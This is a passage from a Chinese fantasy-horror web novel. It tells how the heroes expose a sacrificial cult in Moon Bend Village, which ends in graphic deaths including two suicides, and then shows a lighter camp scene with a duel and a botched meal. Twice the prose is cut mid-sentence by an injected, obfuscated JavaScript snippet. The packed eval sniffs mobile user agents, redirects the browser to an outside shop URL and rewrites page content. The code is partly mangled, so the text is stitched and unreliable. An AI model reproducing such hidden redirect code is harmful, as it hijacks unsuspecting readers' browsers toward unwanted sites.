九如趁机上前一步,剑尖斜指地面:“村长,你说月神会降罪——那不如这样:我们留下来,亲眼看着。若月神真的发怒,要惩罚全村,我们三人,愿意一同承担。” 他顿了顿,声音更沉:“但若月神没有发怒……就说明,这姑娘命不该绝。如何?” 他在赌。 赌这个“月神”根本不存在,或者……不会为了一个少女的死活就惩罚全村。 赌这些村民的狂热,是人为制造的恐惧,而非真正的神罚。 陈村长死死盯着九如,血红的眼睛里翻涌着愤怒、惊疑,还有一丝……不易察觉的恐惧。 许久,他缓缓点头。 “好。”他说,“那就……依贵客所言。” 他挥挥手,示意妇人放开月娘。 月娘瘫倒在地,浑身颤抖,却死死咬着嘴唇,不再哭出声。 陈村长深深看了九如一眼,那眼神复杂得难以形容——有忌惮,有算计,还有某种更深沉的、像毒蛇般阴冷的东西。 “贵客既然要留下,”他缓缓开口,“那就……多住几日吧。” “我们月弯村,一定会……好好招待各位的。” 最后几个字,他说得很慢,很重。 像某种不祥的预言。 29. 弯月棺葬横死相(三) 陈村长的“好好招待”,在当夜就露出了獠牙。 月弯村没有客栈,三人被“安排”在村尾一间废弃的祠堂里。祠堂年久失修,梁柱腐朽,蛛网密布,正中供着一尊月神像——也是白色的玉石雕刻,眉眼柔和,嘴角含笑,但那双眼睛空洞无神,在昏暗的油灯下泛着冰冷的光。 芒种缩在角落的草堆里,小脸惨白。她今天受了太大惊吓,此刻还在微微发抖。白砚坐在门槛上,闭目调息,但九如注意到,他按在左臂上的手指一直在轻微颤抖——魂咒又发作了,而且比以往更剧烈。 九如自己靠在墙边,承影剑横在膝上。剑身在鞘中无声无息,但他能感觉到剑灵那股压抑的、近乎焦躁的情绪。就像在风息圆,在画中仙,在一切污秽和罪孽聚集的地方,这柄守渊者的剑,总会发出悲鸣。 窗外,月色惨白。 今天是十三,月亮将圆未圆,像一只半睁的、冷漠的眼睛,俯瞰着这座诡异的村子。远处传来村民的吟唱声——不是白天那种有节奏的哭丧调,而是更诡异、更狂乱的嘶吼,混杂着某种类似野兽的嚎叫,在静夜里传得很远。 “他们在做什么?”芒种小声问,声音发颤。 “祭祀。”白砚睁开眼,声音很轻,“月圆之前,最后的准备。” “准备……什么?” 白砚没有回答。 九如也没有。 因为他们都看见了——透过祠堂破损的窗棂,能看见村中央那具白玉棺材,在月光下泛着幽幽的冷光。棺材周围,村民们围成圈,手拉着手,像在跳某种怪异的舞蹈。他们眼睛里的血红在黑暗中亮得刺眼,像无数只漂浮的鬼火。 而月娘…… 九如看见,她被绑在棺材旁的一根木桩上。白色寿衣在夜风中飘荡,像一面招魂的幡。她低着头,长发披散,看不清表情。但她的身体在剧烈颤抖——不是害怕,更像是在承受某种极端的痛苦。 “九如哥哥……”芒种声音带着哭腔,“我们……我们救救月娘姐姐吧……” 九如握紧了剑。 他当然想救。 但怎么救? 硬闯?白天他已经试探过——这些村民看似普通,但力气大得惊人,眼神狂热,完全不怕死。而且数量太多,至少有三百人。他和白砚或许能杀出去,但芒种怎么办? 更重要的是……这个村子的秘密还没揭开。 湖中逆流的棺材,诡异的冥婚,村民血红的眼睛,还有那个所谓的“月神”…… 一切,都指向某个更黑暗的真相。 就在他沉思时,祠堂的门,忽然被推开了。 不是暴力撞开,是悄无声息地、像被风吹开一样,“吱呀”一声,露出外面浓重的夜色。 一个白色的人影,站在门外。 是月娘。 不,不是月娘——至少不是白天那个被架着拜堂、眼神空洞的少女。 她身上的白色寿衣沾满了泥污,头发散乱,脸上厚厚的白粉被泪水冲出一道道沟壑,露出下面苍白的皮肤。但她的眼睛…… 不再是血红色。 而是清澈的、深褐色的,像两汪清泉,在月光下亮得惊人。 她看着九如,嘴唇哆嗦着,似乎想说什么,却发不出声音。只是用那双干净的眼睛,死死盯着他,眼神里有哀求,有绝望,还有一丝……决绝。 然后,她抬起手,指向祠堂后方——那里有条小路,通往村后的山林。 她在说:快跑。 九如心头一震。 他正要开口—— “抓住她!” 一声厉喝从远处传来。 陈村长拄着拐杖,带着十几个村民冲了过来。他们眼睛里的血红在黑暗中像燃烧的炭火,表情狰狞如恶鬼。 月娘脸色一变,转身就要往祠堂里冲。 但晚了。 两个村民已经扑上来,一把抓住她的胳膊,将她死死按在地上。她挣扎,嘶喊,可声音被捂住,只剩“呜呜”的悲鸣。 陈村长走到祠堂门口,看都没看月娘,只是盯着九如,脸上又挂起了那种和蔼的笑容——在月光下,那笑容诡异得令人作呕。 “贵客受惊了。”他声音温和,“这丫头不懂规矩,半夜乱跑,冲撞了贵客,实在该死。老夫这就带她回去,好好管教。” 他说着,挥挥手:“带走。” 月娘被拖走了。 经过祠堂门口时,她最后看了九如一眼。 那双清澈的眼睛里,滚下两行泪。 然后,她就被拖进了黑暗里,消失不见。 祠堂的门,被重新关上。 外面传来落锁的声音。 “九如哥哥!”芒种扑过来,眼泪哗啦啦往下掉,“他们……他们要杀了月娘姐姐……” 九如没有说话。 他只是盯着那扇被锁死的门,眼神冷得像冰。 许久,他缓缓开口,声音低沉得可怕:“白砚,你还能撑多久?” 白砚睁开眼睛,看了看左臂——衣袖下,紫色的魂咒已经蔓延到了肩膀,像一条毒蛇,正向心口蜿蜒。 “最多三天。”他平静地说。 “够了。”九如站起身,握紧承影剑,“今晚,我们救人。” “怎么救?”白砚问,“外面至少有几十个人守着。” 九如走到窗边,透过破损的窗棂看向外面。 月光下,那些村民还围着棺材跳舞。他们的动作越来越疯狂,嘶吼声越来越响,眼睛里的血红也越来越浓…… 就像,某种仪式,已经到了最关键的时刻。 “等。”九如说,“等他们最疯狂的时候,我们动手。” 他顿了顿,回头看向芒种,眼神温柔下来:“芒种,怕不怕?” 芒种用力摇头,眼泪却止不住:“不、不怕……我要跟九如哥哥一起救月娘姐姐……” 九如摸了摸她的头,没再说话。 子夜时分。 月亮升到中天,又圆又亮,像一面巨大的、冰冷的镜子,将整个月弯村照得如同白昼。 村民们的狂欢,达到了顶点。 他们不再围圈跳舞,而是开始……自残。 有人用指甲抓破自己的脸,鲜血直流,却哈哈大笑。有人用石头砸自己的胸口,骨头碎裂的声音清晰可闻,却还在疯狂嘶吼。有人甚至扑到棺材上,用头去撞坚硬的玉石,撞得头破血流,却像感觉不到疼痛。 他们在献祭。 献祭自己,给那个所谓的“月神”。 而月娘,被绑在棺材旁的那根木桩上,眼睁睁看着这一切。她脸上没有了泪水,只剩一片死寂的麻木。眼睛望着天空中的圆月,瞳孔深处,却有一丝极淡的、金色的光,在悄悄闪烁。 祠堂里,九如动了。 他拔出承影剑,剑身在月光下泛起清冷的寒光。剑尖抵在门缝上,轻轻一挑—— “咔嚓。” 门锁断裂。 门外守着两个村民,听见动静,回头看来。 九如没有给他们反应的时间。 剑光一闪。 两颗头颅飞起,鲜血喷溅。 没有惨叫,因为剑太快,快到他们甚至没感觉到疼痛。 九如踏出祠堂,白砚紧随其后,芒种被护在中间。 外面,狂欢的村民注意到了他们。 陈村长站在棺材旁,拄着拐杖,血红的眼睛死死盯着九如,脸上却没有愤怒,反而露出一种诡异的、近乎兴奋的笑容。 “贵客……终于出来了。”他声音嘶哑,“月神祭典,怎么能少了贵客的参与呢?” 他抬起拐杖,指向芒种:“尤其是……这位小姑娘。” 芒种吓得一哆嗦,抓紧了九如的衣角。 “她身上,有月神喜欢的……纯净之气。”陈村长舔了舔嘴唇,眼神贪婪得像饿狼,“正好,今夜是月圆之夜,水葬之期——就用她,给月神献上最后的祭品吧!” 话音落下的瞬间,周围所有的村民,同时转过头,眼睛死死盯住了芒种! 那不是人的眼神。 是野兽的,是疯子的,是彻底失去理智的、只余本能的贪婪和疯狂。 “水葬……水葬……水葬……” 他们齐声低吼,声音像潮水般涌来。 然后,他们扑了上来! 不是攻击九如和白砚,而是全部扑向芒种! 就像一群饿疯了的野狗,看见了最鲜美的肉。 九如瞳孔骤缩。 他想挥剑,但村民太多,而且完全不怕死——第一个人被斩成两半,第二个、第三个立刻扑上来,用身体去挡剑,给后面的人创造机会。 他们在用人命,堆出一条通往芒种的血路! “芒种——!”九如嘶吼,剑光如匹练般横扫,斩飞七八颗头颅,但更多的村民涌上来。 白砚也动了。 他双手结印,腰间宝石腰带爆发出刺眼的光芒。冰蓝色的宝石亮起,寒气弥漫,将冲在最前的几个村民冻成冰雕。暗红色的宝石亮起,火焰喷涌,将后面的村民烧成焦炭。 但没用。 村民太多了。 而且他们……在燃烧生命。 那些被冻住、被烧焦的村民,身体迅速干瘪,化作灰烬,但灰烬中却飘出一缕缕血红色的雾气,钻进其他村民体内。于是剩下的村民眼睛更红,力气更大,速度更快。 他们在用死亡,喂养同伴的疯狂! “这是……血祭之术!”白砚脸色煞白,“他们在献祭自己,召唤某种东西!” 话音未落,湖面忽然沸腾了! 不是水沸腾,是湖底那些逆流的棺材,全部浮了上来! 一具,两具,三具……数十具漆黑的棺材,像一支沉默的军队,从湖心升起,缓缓漂向岸边。 棺盖全部打开。 里面那些肥胖的、细皮嫩肉的尸体,全部睁开了眼睛! 眼睛也是血红色的。 他们从棺材里坐起来,动作僵硬,像提线木偶。然后,他们爬出棺材,踏着水面,走上岸,加入村民的行列,朝着芒种扑来! 芒种已经吓傻了。 她瘫坐在地,眼泪哗啦啦往下流,却发不出声音。眼看一只惨白的手就要抓住她的脚踝—— “滚开!” 一声凄厉的嘶喊。 月娘! 她不知何时挣脱了绳索,扑过来,用身体挡住了那只手! “噗嗤!” 那只手——是一具浮尸的手,指甲漆黑尖长,直接刺穿了月娘的肩胛骨! 鲜血喷溅。 月娘疼得闷哼一声,却死死抱住芒种,转身就往祠堂方向跑。 “月娘——!!”陈村长暴怒,“你敢背叛月神——!” 他举起拐杖,杖头的月牙玉石爆发出刺眼的白光。 白光如利箭,射向月娘后背! 月娘躲不开——她抱着芒种,根本躲不开。 眼看就要被白光贯穿—— 一道剑光斩来! 九如终于杀出重围,承影剑横扫,斩碎了那道白光! 他挡在月娘和芒种身前,浑身浴血——有自己的血,更多的是村民的血。白砚也冲了过来,三人背靠背,将芒种护在中间。 而周围,是数百个眼睛血红、彻底疯狂的村民和浮尸。 还有湖面上,源源不断浮起的、更多的棺材。 “九如哥哥……”芒种哭着说,“对不起……都是我不好……” “不是你的错。”九如声音嘶哑,却异常坚定,“是这村子的错。” 他抬头,看向陈村长,眼神冷得像万年寒冰:“你们所谓的月神……到底是什么东西?” 陈村长笑了。 笑得疯狂,笑得狰狞。 “月神?”他张开双臂,像在拥抱月亮,“月神就是我们月弯村的信仰!是我们世世代代供奉的、唯一的神!” 他顿了顿,眼神变得怨毒:“可是……它不爱我们。” “我们献祭了那么多活人,那么多童男童女,那么多新娘……可村子里的人,还是越来越少。孩子生下来就死,年轻人无端猝死,老人一夜暴毙……” 他指着那些村民:“你看他们!眼睛为什么红?是因为喝了圣水——月神赐予的、能让我们延续生命的圣水!可是没用……还是没用!我们还是会死!还是会绝种!” 九如心头一震。 圣水? 他想起白天那杯蓝色的、泛着诡异光泽的“迎客茶”。 想起湖水的颜色——那种深绿近黑的诡异色泽。 想起村民们眼睛里的血红…… “那水,”九如缓缓开口,“有毒,对吗?” 陈村长愣住了。 “那不是月神的赐福,”九如盯着他,一字一顿,“那是污染。是你们献祭的尸体,腐烂在水里,污染了水源。你们喝了被污染的水,身体被毒素侵蚀,才会生病,才会猝死,才会……绝种。” “不可能!”陈村长嘶吼,“那是圣水!是月神的恩赐!” “月神?”九如冷笑,“你们供奉的,根本不是什么神。是你们的贪婪,是你们的愚昧,是你们用活人献祭、污染水源后,产生的……诅咒!” 他顿了顿,声音更沉:“守渊者来过这里,对吗?他告诉你们,只要爱护水源,保护河流,自然能延续生命。可你们听不进去——你们只想走捷径,只想用献祭换取所谓的‘恩赐’。结果呢?你们毁了水源,也毁了你们自己。” 这话像一把刀,刺进陈村长心里。 他踉跄后退,脸上疯狂的表情凝固了,取而代之的是一种深沉的、近乎崩溃的恐惧。 “不……不可能……守渊者……守渊者明明说……只要献祭……” “他骗你们的。”一个虚弱的声音响起。 是月娘。 她靠在芒种身上,脸色惨白如纸,肩胛骨的血还在流。但她看着陈村长,眼神平静得可怕。 “守渊者大人……从来没有说过要献祭活人。”她轻声说,“他来月弯村时,我还小。我记得很清楚……他说,‘水是生命之源,爱护水源,就是爱护你们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109794|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子孙’。他还教我们挖井,教我们过滤河水,教我们……善待每一个生命。” 她顿了顿,眼泪掉下来:“可是你们……你们听不进去。你们觉得献祭更快,更有效……所以你们绑了我,要让我嫁给一个死婴,要用我的命,去换你们所谓的‘延续’……” 陈村长呆呆地看着她。 许久,他忽然疯狂大笑。 “哈哈哈……哈哈哈哈……!” 笑声凄厉如鬼哭。 “所以……我们错了?我们世世代代,都错了?我们献祭了那么多人,杀了那么多人……结果,是在自己找死?” 他笑着笑着,眼泪流下来。 血红的眼泪。 “那又怎样!”他猛地抬头,眼神重新变得疯狂,“错了又怎样!我们已经回不了头了!” 他举起拐杖,杖头的月牙玉石再次亮起。 “既然月神是假的……那我们就自己成神!用你们——用你们的血,用你们的命,来填补我们缺失的寿命!” 他嘶声怒吼:“杀了他们——!把那个小丫头扔进湖里!水葬——!” 村民们再次扑上来。 这一次,他们更疯狂,更不要命。 九如知道,不能再留手了。 他握紧承影剑,深吸一口气。 然后,他闭上了眼睛。 不是放弃。 而是在回忆。 回忆守渊者的记忆里,那些破碎的、关于“净化”的片段。 守渊者曾一剑斩破污秽,曾以血净化诅咒,曾用悲悯的力量,洗涤人间的罪孽。 而他,是守渊者的“初心”。 他也可以。 再睁开眼时,九如的眼睛里,有金光闪烁。 不是烈风荧那种妖异的红,也不是村民那种疯狂的血红。 是纯粹的、温暖的、像阳光般的金色。 承影剑嗡鸣。 剑身上的清光,渐渐染上了金色。 “白砚,”九如开口,声音平静得可怕,“护住芒种和月娘。” 白砚点头,双手结印,宝石腰带全部亮起,在三人周围布下一层七彩的光罩。 九如踏前一步。 面对潮水般涌来的村民和浮尸,他只做了一件事—— 挥剑。 不是斩。 是……拂。 像拂去灰尘,像扫清污秽。 剑光化作一片金色的、温暖的光幕,向前平推。 光幕所过之处,村民身上的血红迅速褪去,眼睛恢复清明,动作也停了下来。他们呆呆地看着自己沾满鲜血的手,看着周围同伴的尸体,看着湖面上那些浮尸…… 然后,他们哭了。 不是疯狂的嘶吼,是真切的、悲痛的、属于人的哭声。 “我……我做了什么……” “我杀了人……我杀了那么多人……” “月娘……月娘我对不起你……” 忏悔的哭声,在月夜下回荡。 而湖面上的浮尸,在金光的照耀下,也渐渐闭上眼睛,重新躺回棺材里。棺材缓缓沉入水底,消失不见。 只有陈村长。 他没有被金光净化。 或者说……他不愿被净化。 他拄着拐杖,一步步后退,眼神里充满恐惧和怨恨。 “不……不……我是村长……我是月弯村的主宰……我不能……我不能输……” 他转身,冲向那具白玉棺材。 棺材盖还开着,里面躺着那个死婴。 陈村长爬进棺材,抱起死婴的尸体,像抱着最后的救命稻草。 “孙儿……爷爷在这儿……爷爷陪你……我们一起……一起成神……” 他喃喃着,从怀里掏出一把匕首。 不是刺向别人。 是刺向自己的心口。 “噗嗤。” 鲜血喷溅,染红了棺材,染红了死婴的寿衣。 陈村长倒在棺材里,眼睛还睁着,望着天空中的圆月。 嘴角,却勾起一丝诡异的、满足的笑。 月娘看着这一幕,眼泪无声地流。 她推开白砚的光罩,踉跄走到棺材边,看着里面祖孙俩的尸体。 然后,她抬起头,看向九如。 “公子……”她轻声说,“谢谢你……让我……最后能干干净净地死。” 话音未落,她忽然纵身一跃,也跳进了棺材! “月娘——!”芒种尖叫。 九如冲过去,却已经晚了。 月娘躺在陈村长和死婴之间,伸手,抱住了那个小小的尸体。 她看着九如,嘴角扬起一个温柔的、像月光般清浅的笑。 “我这一生……太脏了。”她轻声说,“但至少……最后,我能选择怎么死。” 她从怀里掏出一枚玉佩——就是白天她手里攥着的那枚月牙玉佩。 玉佩已经碎了,只剩半截。 她用碎玉的锋利边缘,划破了自己的手腕。 鲜血汩汩流出,混着陈村长的血,染红了整个棺材。 “以我之血……洗净此地的罪孽。”她喃喃,眼睛望着天空中的圆月,“月神……若你真在……请保佑……月弯村的亡魂……得以安息……” 声音越来越轻。 眼睛,缓缓闭上。 而就在她断气的瞬间—— 整个月弯村,开始剧烈震动! 不是地震,是某种更深层的、空间的震动。 村民们的哭声戛然而止。他们呆呆地看着自己的身体——开始变得透明,像晨雾般,渐渐消散。 屋舍,农田,石桥,祠堂…… 一切人造之物,都在消散。 湖面上,那些沉没的棺材,也浮起最后的气泡,彻底消失。 最后消失的,是那具白玉棺材。 和棺材里的三具尸体。 等震动停止时,九如三人站在原地,茫然四顾。 月弯村……不见了。 只剩一片荒芜的河滩,和一条清澈见底的、哗哗流淌的河流。 河水很清,能看见水底的卵石和游鱼。 月光照在水面上,波光粼粼,像撒了一把碎银。 仿佛那个诡异的、充满罪孽的村子,从未存在过。 只有空气中,还残留着淡淡的、血与泪的味道。 和地上,那半截碎裂的月牙玉佩。 芒种蹲下身,捡起玉佩,眼泪大颗大颗往下掉。 白砚扶着树,脸色苍白如纸——魂咒发作了,他疼得浑身发抖,却咬紧牙关,一声不吭。 九如握着承影剑,望着那片消失的村庄,久久无言。 他想起了守渊者。 想起了那个金瞳白发的身影,曾站在这里,苦口婆心地劝村民爱护水源。 想起了月娘最后那个温柔而绝望的笑。 想起了陈村长疯狂的眼神,和那句“我们已经回不了头了”。 是啊。 有些错,一旦犯下,就真的回不了头了。 30. 炊烟袅袅赶路人 距离月弯村那场血色消散,已过去三日。 三人沿着愈发崎岖的山道向北而行。白砚手臂上的魂咒已蔓延至锁骨,每次发作时他都会寻个理由独自走开片刻,回来时唇色发白,额角却不见汗——他将疼痛吞咽得悄无声息。芒种怀里揣着那半截月牙玉佩,走路时总不自觉地去摸,眼神里有种超越年龄的沉静。 而烈风煌,是在第四日清晨追上来的。 那时九如正在溪边取水,承影剑搁在身侧的石头上,剑身倒映着熹微晨光。身后林间传来枯枝断裂的声响,他回头,就看见那个深青色的身影从雾霭里走出。 烈风煌看起来……不太好。 衣衫褴褛不足以形容,更像是从泥潭里滚过又风干了三天三夜。原本利落的高马尾散乱不堪,几缕碎发黏在汗湿的额角,脸颊有一道新鲜的擦伤,血迹已凝成暗褐色。最触目惊心的是她左臂——衣袖被利器整个划开,从肩头到小臂,一道深可见骨的伤口狰狞外翻,边缘泛着不正常的青黑色。 但她腰杆挺得笔直,修罗刀稳稳挂在腰间,刀鞘上沾着泥泞和某种暗绿色的、类似苔藓的污渍。她走到溪边,看也没看九如,单膝跪下,掬起冷水泼在脸上,又扯下已经破烂的袖口,浸湿了,用力擦拭手臂伤口。 动作粗暴得像在打磨生锈的铁器。 九如看着她手臂上那道伤,眉头微蹙:“中毒了?” 烈风煌没应声,只是从怀里掏出个皱巴巴的油纸包,抖出些墨绿色的药粉,咬咬牙,一股脑儿撒在伤口上。 “嗤——” 皮肉灼烧的声音伴随着白烟升起。她闷哼一声,额头青筋暴起,却硬是没喊出声。等白烟散尽,伤口处的青黑色果然淡了些,但皮肉翻卷得更加可怖。 九如沉默片刻,解下自己的水囊递过去:“清水。” 烈风煌这才抬眼看他。那双深褐色的眼睛里布满血丝,眼神却依旧冷硬如铁。她接过水囊,仰头灌了几口,有水顺着下颌流下,混着汗和血,在脏污的衣襟上晕开。 “白砚呢?”她哑声问,将水囊扔回给九如。 “前面生火。”九如顿了顿,“你……遇到什么了?” 烈风煌扯了扯嘴角,露出个近乎狰狞的笑:“一群不长眼的畜生,想拿我祭山。”她站起身,活动了一下左臂,疼痛让她嘴角抽了抽,但声音平稳,“解决了。” 轻描淡写三个字,九如却能想象那片山林里的血腥。 他没再多问,只是收拾起水囊和承影剑:“走吧,他们在等。” 营地设在一片背风的山坳里。白砚刚升起火,芒种正蹲在旁边,小心翼翼地将干粮掰碎,放进小铁锅里煮粥。见九如回来,她眼睛一亮,随即看见身后的烈风煌,小脸顿时白了。 “风、风姐姐……” 烈风煌“嗯”了一声,算是打招呼,径直走到火堆旁,毫不客气地占了最暖和的位置。她脱下破烂的外袍——露出里面同样沾满血污的里衣,将袍子随手扔在地上,伸手烤火。 白砚看了她一眼,目光在她手臂伤口上停留一瞬,又移开,继续用树枝拨弄火堆。但九如注意到,他拨火的力道比刚才重了些。 气氛有些僵。 芒种煮好了粥,盛了四碗。烈风煌接过,也不怕烫,三两口就喝光了,将空碗往地上一搁:“还有吗?” 声音理所应当。 芒种连忙又给她盛了一碗。 白砚忽然开口:“手臂的伤,不止外伤,还有咒毒残留。不处理干净,三天内必蔓延至心脉。” 烈风煌喝粥的动作一顿,抬眼看他:“你会治?” “不会。”白砚语气平静,“但我认识会治的人——前提是,你求我。” 这话说得挑衅。 九如眉头一皱,正要打圆场—— 烈风煌笑了。 不是冷笑,是真笑了,笑得肩膀都在抖。她放下碗,站起身,走到白砚面前,居高临下地看着他:“白砚,你是不是觉得,我受伤了,就打不过你了?” 白砚也站起身。 他比烈风煌矮了半个头,身形也更清瘦,但此刻站直了,那双总是平静的眼睛里,第一次燃起清晰的、毫不掩饰的战意。 “试试?”他轻声说。 话音未落,烈风煌已经出手! 不是拔刀,而是一记毫无花哨的直拳,裹挟着破风声,直击白砚面门!白砚不退反进,左手格挡,右手并指如剑,直点烈风煌手臂伤口! 烈风煌侧身避开,左腿横扫,带起地上砂石。白砚跃起,人在空中,双手结印——冰蓝色的宝石亮起,寒气凝成数道冰锥,疾射而下! “雕虫小技。”烈风煌嗤笑,修罗刀终于出鞘。 刀光暗红如血,一刀横斩,冰锥尽碎。她踏步上前,刀势如狂风暴雨,每一刀都劈向白砚要害。白砚身法灵动,在刀光中穿梭,指尖不时亮起不同颜色的宝石光芒——火球、风刃、土刺,层出不穷。 但烈风煌的刀太快,太狠。 她根本不在乎那些法术攻击,任由火球擦过肩头,风刃割破衣摆,土刺划伤小腿。她的眼睛死死盯着白砚,刀刀逼命,完全是以伤换命的打法。 三十招后,白砚渐落下风。 他擅长的是咒术和远程牵制,近身搏杀本就不是强项。更何况烈风煌这种完全不要命的打法,让他那些精妙的咒术根本来不及施展。 第四十三招,烈风煌一刀劈散白砚凝出的水盾,刀势未尽,刀背重重拍在他胸口! “噗——” 白砚倒飞出去,撞在一棵树上,咳出一口血。他撑着树干想站起来,烈风煌的刀尖已经抵在他咽喉。 “你输了。”她声音平静,听不出喜怒。 白砚看着她,又咳出一口血沫,最终垂下眼帘:“……我输了。” 烈风煌收刀归鞘,转身走回火堆旁,重新坐下,仿佛刚才那场激战从未发生。她看向芒种:“粥凉了,再热热。” 芒种吓得手忙脚乱,赶紧照做。 九如走到白砚身边,扶起他:“没事吧?” 白砚摇摇头,擦掉嘴角血迹。他盯着烈风煌的背影看了几秒,忽然开口,声音不大,却清晰地传到每个人耳中: “愿赌服输。今晚的饭,我来做。” 事实证明,让白砚下厨,是个灾难。 他确实去捕鱼了——用冰锥术冻住溪流,捞上来三条肥美的桂花鱼。也去打猎了——用风刃削断树枝,设了个简易陷阱,逮到一只倒霉的山鸡。甚至还去挖了野菜——用土遁术翻开泥土,刨出几根水灵灵的萝卜。 但烹饪过程,堪称惨烈。 烤鱼时,他试图用火系咒术控制火候,结果一个不慎,火焰爆燃,三条鱼瞬间碳化,表面黑如焦炭,掰开里面却还带着血丝。山鸡被他用泥巴裹了,直接丢进火堆,美其名曰“土泥鸡”,等掏出来时,泥壳坚硬如石,敲开里面半生不熟,鸡毛都没褪干净。至于萝卜——他倒是记得削皮,但用的是风刃,萝卜皮削得漫天飞舞,最后只剩拇指粗细的一根芯子,还被他切成了大小不一、形状诡异的薄片,美其名曰“鲜切萝卜皮”。 夜幕降临时,四人围坐在火堆旁,看着地上那三盘“杰作”,陷入沉默。 炭烤桂花鱼冒着诡异的焦糊味,土泥鸡散发着半生肉类的腥气,鲜切萝卜皮薄得透明,在火光下泛着惨白的光。 烈风煌抱着胳膊,挑眉看着白砚:“这就是你的‘赔罪’?” 白砚脸色不太好看,但依旧嘴硬:“食材新鲜,做法……独特。” 九如叹了口气,拿起一块烤鱼,咬了一口。 然后,他的脸色以肉眼可见的速度从正常变为青白,再到涨红。他捂着嘴冲进树林,远处传来压抑的呕吐声。 烈风煌冷笑一声,抓起一只鸡腿,狠狠咬下。 三秒后,她表情凝固,喉咙里发出“嗬嗬”的声音,两眼翻白,口吐白沫,手里的鸡腿掉在地上。 只有芒种。 她看看吐得昏天暗地的九如,又看看倒在地上抽搐的烈风煌,最后看向那三盘惨不忍睹的食物,小脸上写满了挣扎。 最终,她拿起筷子,夹了一块最小的萝卜皮,放进嘴里。 咀嚼。 吞咽。 又夹了一块烤鱼,小心剔掉焦黑的外皮,吃里面还带着血丝的肉。 再撕了一小块鸡肉,闭着眼吞下去。 全程面无表情,但也没有吐。 等她吃完小半条鱼、几片萝卜皮和一小块鸡肉后,九如扶着树回来了,脸色惨白如纸。烈风煌也缓过气,瘫在地上,眼神空洞地望着星空。 白砚盯着芒种,看了很久,忽然问:“味道如何?” 芒种擦了擦嘴,小声说:“有、有点苦……但还能吃。” 白砚眼中闪过一丝复杂的神色。他沉默片刻,忽然招手:“过来。” 芒种乖乖走过去。 白砚伸出手,食指指尖亮起一点极淡的、几乎看不见的银光。他点在芒种眉心,银光没入。 “这是个保命的绝招。”他低声说,声音只有芒种能听见,“叫‘隐尘’。生命垂危之际,默念我教你的口诀,能隐身一息——记住,只有一息。” 芒种眼睛亮了,用力点头:“谢谢白砚哥哥!” “一息?”烈风煌不知何时坐了起来,嗤笑道,“一息能干什么?逃命都不够,糊弄小孩子。” 白砚转头看她,眼神冷了下来:“你懂什么?一息,足够决定生死。” “生死?”烈风煌站起来,拍了拍身上的土,“真正的生死搏杀,一息够我杀你三次。” 两人对视,空气中火花四溅。 眼看又要打起来—— “好了好了。”九如连忙打圆场,他从行囊里翻出干粮,分给大家,“先吃点能吃的吧。” 那一夜,四人围着火堆,啃着干硬的饼子,谁也没再说话。 但气氛,却莫名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109795|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓和了些。 次日清晨,九如起了个大早。 他在林间寻了一棵老桃树——树龄至少百年,枝干虬结,木质坚硬。他抽出承影剑,对着树干比划。 烈风煌靠在不远处的岩石上,抱着胳膊看他:“闻名天下的承影剑,你居然用它干木匠的活?” 九如回头,笑了笑:“能用的上的宝剑,才是好剑。” 他说着,手腕轻转。 剑光如水,划过桃木。 没有惊天动地的声势,没有劈山断岳的威能,只是简简单单的削、砍、刨、磨。承影剑在他手中,温顺得像一柄最普通的刻刀,剑锋所过之处,木屑纷飞如雪。 半个时辰后,一柄小巧精致的桃木剑,静静躺在他掌心。 剑长一尺二寸,剑身纤细,剑柄雕刻着简单的云纹,剑穗用红绳编成,末端坠着一颗小小的桃核。整柄剑线条流畅,质朴无华,却自有一股温润的灵气。 九如走到还在熟睡的芒种身边,轻轻将桃木剑放在她枕边。 芒种醒来时,第一眼就看见了那柄剑。她愣了愣,揉了揉眼睛,然后惊喜地叫出声:“桃木剑!” 她小心翼翼地捧起剑,左看右看,爱不释手。忽然,她想起什么,站起身,学着九如平时练剑的样子,摆了个架势,然后—— “嘿!” 一剑劈下。 劈在了刚走过来、还没完全清醒的九如身上。 不偏不倚,正中胸口。 “嗤啦——” 粗布外衣应声裂开一道长长的口子,露出里面精瘦的、肌肉线条分明的胸膛。 时间仿佛凝固了。 芒种呆呆地看着自己手里的桃木剑,又看看九如敞开的衣襟,小脸“唰”地红透了。她“啊”地尖叫一声,扔掉桃木剑,捂着脸转身就跑,一头撞进刚钻出帐篷的白砚怀里。 白砚被她撞得踉跄,还没搞清楚状况,就看见九如衣衫不整地站在那儿,顿时脸色一沉:“成何体统!” 烈风煌却吹了声口哨。 她踱步过来,上下打量九如,眼神玩味:“啧,身材不错嘛。” 九如这才反应过来,连忙拢住衣襟,弯腰道歉:“抱歉抱歉,污染诸位眼睛了。” 白砚耳根发红,别开视线:“快、快把衣服穿好!” 芒种从白砚身后探出半个脑袋,偷看一眼,又赶紧缩回去,声音蚊子似的:“九如哥哥对不起……我不是故意的……” 九如失笑,揉了揉她的脑袋:“没事,剑很锋利,说明桃木选得好。” 他转身去行李里翻找备用的衣物。烈风煌抱胸看着他的背影,又看看地上那柄桃木剑,忽然说:“喂,给我也削一把。” 九如回头:“什么?” “剑。”烈风煌指了指桃木剑,“要更长的,更重的——能砍人的那种。” 白砚冷冷道:“桃木剑是给孩子玩的,你凑什么热闹。” “要你管?”烈风煌瞪他,“我就要。” 九如看着两人又快要吵起来的架势,无奈地笑了笑:“好,等有空了,给你削。” 那一整天,难得的平静。 